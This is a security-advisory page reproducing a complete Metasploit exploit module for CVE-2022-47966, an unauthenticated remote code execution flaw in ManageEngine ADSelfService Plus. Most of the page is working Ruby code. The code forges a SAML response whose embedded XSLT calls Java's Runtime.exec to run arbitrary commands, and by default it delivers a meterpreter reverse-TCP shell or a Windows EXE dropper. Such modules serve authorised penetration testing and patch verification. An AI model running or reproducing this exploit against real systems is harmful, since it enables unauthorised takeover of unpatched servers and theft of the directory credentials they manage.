ManageEngine ADSelfService Plus Unauthenticated SAML Remote Code Execution

2023-02-08 / 2023-02-09
Risk: High
Local: No
Remote: Yes
CWE: N/A

# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'ManageEngine ADSelfService Plus Unauthenticated SAML RCE', 'Description' => %q{ This exploits an unauthenticated remote code execution vulnerability that affects Zoho ManageEngine AdSelfService Plus versions 6210 and below (CVE-2022-47966). Due to a dependency to an outdated library (Apache Santuario version 1.4.1), it is possible to execute arbitrary code by providing a crafted `samlResponse` XML to the ADSelfService Plus SAML endpoint. Note that the target is only vulnerable if it has been configured with SAML-based SSO at least once in the past, regardless of the current SAML-based SSO status. }, 'Author' => [ 'Khoa Dinh', # Original research 'horizon3ai', # PoC 'Christophe De La Fuente' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2022-47966'], ['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'], ['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'], ['URL', 'https://github.com/horizon3ai/CVE-2022-47966'], ['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis'] ], 'Platform' => ['win'], 'Payload' => { 'BadChars' => "\x27" }, 'Targets' => [ [ 'Windows EXE Dropper', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper, 'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' } } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :windows_command, 'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' } } ] ], 'DefaultOptions' => { 'RPORT' => 9251, 'SSL' => true }, 'DefaultTarget' => 1, 'DisclosureDate' => '2023-01-10', 'Notes' => { 'Stability' => [CRASH_SAFE,], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] }, 'Privileged' => true ) ) register_options([ OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/samlLogin' ]), OptString.new('GUID', [ true, 'The SAML endpoint GUID' ]), OptString.new('ISSUER_URL', [ true, 'The Issuer URL used by the Identity Provider which has been configured as the SAML authentication provider for the target server' ]), OptString.new('RELAY_STATE', [ false, 'The Relay State. Default is "http(s)://<rhost>:<rport>/samlLogin/LoginAuth"' ]) ]) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID']) ) return CheckCode::Unknown unless res return CheckCode::Safe unless res.code == 200 product = res.get_html_document.xpath('//title').first&.text unless product == 'ADSelfService Plus' return CheckCode::Safe("This is not ManageEngine ADSelfService Plus (#{product})") end CheckCode::Detected end def encode_begin(real_payload, reqs) super reqs['EncapsulationRoutine'] = proc do |_reqs, raw| raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw end end def exploit case target['Type'] when :windows_command execute_command(payload.encoded) when :windows_dropper execute_cmdstager end end def execute_command(cmd, _opts = {}) if target['Type'] == :windows_dropper cmd = "cmd /c #{cmd}" end cmd = cmd.encode(xml: :attr).gsub('"', '') assertion_id = "_#{SecureRandom.uuid}" # Randomize variable names and make sure they are all different using a Set vars = Set.new loop do vars << Rex::Text.rand_text_alpha_lower(5..8) break unless vars.size < 3 end vars = vars.to_a saml = <<~EOS <?xml version="1.0" encoding="UTF-8"?> <samlp:Response ID="_#{SecureRandom.uuid}" InResponseTo="_#{Rex::Text.rand_text_hex(32)}" IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <Assertion ID="#{assertion_id}" IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion"> <Issuer>#{datastore['ISSUER_URL']}</Issuer> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> <ds:Reference URI="##{assertion_id}"> <ds:Transforms> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"> <xsl:stylesheet version="1.0" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/> <xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/> <xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/> <xsl:value-of select="$#{vars[2]}"/> </xsl:template> </xsl:stylesheet> </ds:Transform> </ds:Transforms> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> <ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue> <ds:KeyInfo/> </ds:Signature> </Assertion> </samlp:Response> EOS relay_state_url = datastore['RELAY_STATE'] if relay_state_url.blank? relay_state_url = "http#{'s' if datastore['SSL']}://#{rhost}:#{rport}/samlLogin/LoginAuth" end res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID']), 'vars_get' => { 'RelayState' => Rex::Text.encode_base64(relay_state_url) }, 'vars_post' => { 'SAMLResponse' => Rex::Text.encode_base64(saml) } }) unless res&.code == 200 fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code})") end res end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top